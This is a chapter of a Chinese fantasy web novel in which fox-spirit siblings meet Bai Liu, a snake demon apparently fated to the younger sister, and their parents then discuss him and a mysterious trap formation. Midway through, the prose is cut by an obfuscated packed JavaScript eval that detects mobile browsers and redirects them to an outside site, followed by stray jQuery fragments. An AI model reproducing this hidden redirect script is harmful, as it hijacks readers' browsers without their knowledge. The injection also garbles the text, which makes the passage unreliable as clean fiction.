封醉 作品
33. 蛇妖白柳
子桑玲用力点头。尽管昨晚光线昏暗,但她对这条路记得很清楚,更何况,这附近几条巷子里也只有这么一座神龛。
神龛不过半人高,看起来平平无奇。龛中的石像是一位蛇尾人身的女子,这形象让子桑瑜更加困惑。如今提到蛇尾人身,任谁都会联想到女娲,可那位传说中的创世女神怎会被供奉在路边如此简陋的神龛中?怎么看都透着古怪。
“你到底是怎么得罪这位的?”子桑瑜转头问道。
子桑玲的小嘴撅得老高:“我都说了不是我,是温雪!”她气鼓鼓地跺了跺脚,“是温雪偷吃了供品,我只是没拦着而已……顶多算个不作为吧?谁知道那条蛇妖这么记仇!”大约是破罐子破摔,她索性连敬称都省了,一副豁出去的模样。
哼,出门在外,谁还没个靠山了?
子桑瑜的目光落在供盘上那枚被啃了一半的水果上,又凝神感知四周。笼罩着青峦镇的妖气始终未散,如同藏木于林。他能确定对方就在附近,却无法锁定具体位置。
他伸手捏了捏妹妹的脸蛋,故作嫌弃地打量:“那蛇妖怎么就盯上你了?你这长相……也就一般吧?”
子桑玲闻言,一拳捶向二哥的肚子:“你这是在骂自己吗?”
作为同父同母的亲兄妹,两人的五官像是父母基因的随机组合。若不加以伪装走在街上,任谁都能看出他们的血缘关系,若是遇到脸盲的,说不定会以为他们共用一张脸。
子桑瑜揉着肚子,忽然正色道:“说真的,如果那蛇妖真看上你了,你打算怎么办?”
昨日父母的态度他们都看在眼里。父母显然认识那蛇妖,可态度却古怪至极:非敌非友。
若是敌人,小妹不可能安然无恙;若是友人,又怎会直接在她身上打下神识印记?那可是道侣之间才会用的手段。即便是他们这些亲生子女,身上也不过是父母留下的保护禁制。这行为亲密得过分了。
子桑玲顿时一脸惊恐:“别啊!我还不到一千岁,还是个宝宝呢!那蛇妖和爸妈认识,少说也有三千岁了吧?年龄差太大了,不行不行!”
她越想越觉得离谱,连连摆手:“再说了,我是狐狸,她是蛇,这根本就是跨物种了……注定没有结果的!”
悠远如亘古回响的铜铃声不知从何处飘来。一阵风过,子桑玲再睁眼时,面前已无声无息立了个人影。
他的面容如月光雕琢的冰川,眼尾细密的鳞片似泪痕蜿蜒至鬓角。银白长发在日光下流淌着水银般的光泽,瞳孔像是融化的冰川,泛着幽蓝的寒光。被他注视的瞬间,子桑玲后颈一凉,仿佛有毒蛇的信子轻轻扫过。那人淡色的唇微微开合,隐约可见毒牙的冷芒。
“小狐狸,你这么说,我会很伤心的。”声音如碎冰相击。
子桑玲的目光正对着对方锁骨处若隐若现的蛇鳞,不受控制地“噗”地冒出两只毛茸茸的狐耳,耳尖还紧张地抖了抖。
子桑瑜最先反应过来,自家蠢妹妹连原型都被逼出来了,居然还在发愣!更可怕的是,那蛇妖发色银白,修为怕是和父亲不相上下。此时不跑,更待何时?
他一把拎起妹妹的后领转身就逃。见蛇妖并未追来,刚松口气,却在拐过街角后僵在原地,他们竟又回到了神龛前。
“别想动我妹妹!”子桑瑜将妹妹护在身后,声音发紧。
在白柳眼中,这不过是两只炸毛的小狐狸在虚张声势。弱小生灵的戒备,反倒显得格外可爱。
“这么怕我?”他的目光掠过兄妹二人,最终停在子桑玲脸上。小丫头正扒着哥哥的肩膀偷瞄他,眼神直白得令人失笑。
白柳喉结微动。他至今想不通,自己的姻缘怎会应在这丫头身上。那日他心血来潮起卦,竟算出红鸾星动——这可是千年头一遭。
后来村里来了群陌生人,包括那两只狐狸。最可气的是那只装模作样的黑心狐狸,居然真与自己的师妹成了道侣,连崽子都有了。与自己相比,子桑棣命好得让他嫉妒。
如今再看眼前这丫头,一眼就能看出是那黑心狐狸亲生的……若真应了卦象,自己岂不是要管那家伙叫岳父?
定是卦象错了,回去得重算。
“你到底想怎样?”子桑瑜将妹妹严严实实挡住。这老妖怪的年纪都快赶上父亲了,居然真敢打妹妹的主意!
白柳忽有所感,望向远处:“告诉他们,带宋昼去神女湖。”两道熟悉的气息正在逼近,“那里有他们想要的真相。”
子桑瑜还没回过神,白柳的身影已消散在空气中,只留下一团未散的妖气证明方才并非幻觉。
“啧,溜得倒快。”子桑棣咬牙切齿地现身,他才离开片刻,竟又被这蛇妖钻了空子。
子桑槿接住扑进怀里的女儿,指尖拂过她发顶:“受委屈了?”
“妈咪!”子桑玲仰起脸,眼睛亮晶晶的,“他叫什么名字呀?长得真好看。”
子桑槿的手僵在半空,这展开是不是哪里不对?
子桑瑜倒吸一口凉气。早知道妹妹是颜控,没想到竟控到这般地步!前脚还在嚷嚷“年龄差太大”“跨物种没结果”,后脚就被人家一张脸勾了魂?
他偷瞄父亲的神色,果然那张俊脸已经黑如锅底。
“子桑玲!”子桑棣声音里凝着冰碴,“这世上谁都行,唯独他不行。把你那些小心思给我收干净。”
小狐狸撅着嘴轻哼。在这个家,最终拍板的可是妈咪。
“妈咪~”她拖着长音往母亲怀里蹭。
子桑槿也有些懵。她与阿棣不过离开半个时辰,小女儿怎么就对那条蛇妖上心了?感情经历单纯的她哪里知道,这世上有种生物叫“颜狗”——上头快下头更快,全凭一张脸主宰心跳。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400740|167452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“小四真喜欢他?”
子桑玲脸颊飞红,但在父亲死亡凝视下还是嘴硬:“就、就是问问嘛!”
一面之缘确实谈不上喜欢,可那张糅合了冰雪与妖异的脸,简直是为她的审美量身打造的。先交个朋友又不亏,不合适再换呗。
这个从小到大被父母护在身下的小狐狸此刻尚未意识到,有些“朋友”一旦招惹,怕是甩都甩不掉。
“他很坏吗?”子桑玲眨着眼追问。
子桑槿蹙眉未答。她对白柳的记忆实在寥寥。据大师姐所言,这是当年除蛇患时救下的幼蛇。宗门本欲诛杀,大师姐却执意留他性命,最终签了主仆契约带在身边修炼。
记忆中,白柳与大师姐始终疏离。毕竟亲眼目睹对方屠尽自己全族,却又被其救下,这般纠葛,能亲近才是怪事。即便同是妖族,因为他们的身份,白柳与他们也始终有层隔阂。
“若真是个好的,”子桑棣冷笑,“会被困在这破阵里?”
他们在祠堂察觉灵力异动后四处探查,发现青峦镇遍布类似神龛,以祠堂为阵眼结成困阵。只是年岁久远,阵法无人维护,如今已现松动。
这般阵仗,困的除了那条蛇妖,还能有谁?
子桑玲歪着头,狐耳轻轻抖动:“那他怎么还能来去自如呀?”
这个问题把子桑棣问住了。他皱眉沉思,确实蹊跷。若说白柳被困,他为何能自由出入?若说未被困住,又为何始终避而不见?
他方才这么说,不过是被自家的漏风小棉袄气到了,只想让这小丫头趁早放弃她危险的想法。
他与白柳的接触稍多一点,见那家伙的第一眼就不甚喜欢,得知他的经历就更觉得大师姐疯了,哪有将仇人养在自己身边?可大师姐执意如此,后来他又与那蛇妖接触几次,那蛇妖看他的眼神并不友善,他又怎么可能对那蛇妖有好印象?
“对了,”子桑瑜突然想起,“他临走时说,要你们带宋昼去神女湖,那里有你们想知道的真相。”
子桑槿指尖一颤:“他果然一直在监视我们。”衣袖下的手悄悄攥紧。这种如影随形的窥视感,实在让她难以心安。
但要为了追寻当年的真相,就把宋昼牵扯进来吗?
子桑棣看出妻子的犹豫。千百年来,他们始终告诫自己:莫把前世当今生。替身文学并非现世独有,古往今来,执念深重者总爱在相似的面容里寻找逝去的影子。
可即便容貌如出一辙,失去记忆的灵魂早已奔向新的人生。那个会温柔唤她“小槿”的大师姐,终究是回不来了。
白柳特意点名宋昼,子桑槿毫不怀疑,要查明大师姐陨落的真相,必然需要宋昼付出某种代价。但在摸清白柳的真实意图前,她绝不愿让那个与师姐有着相同面容的姑娘涉险。
“先回去吧。”子桑槿抬眼望向渐高的日头,阳光刺痛了她的眼睛,“有些事……急不得。”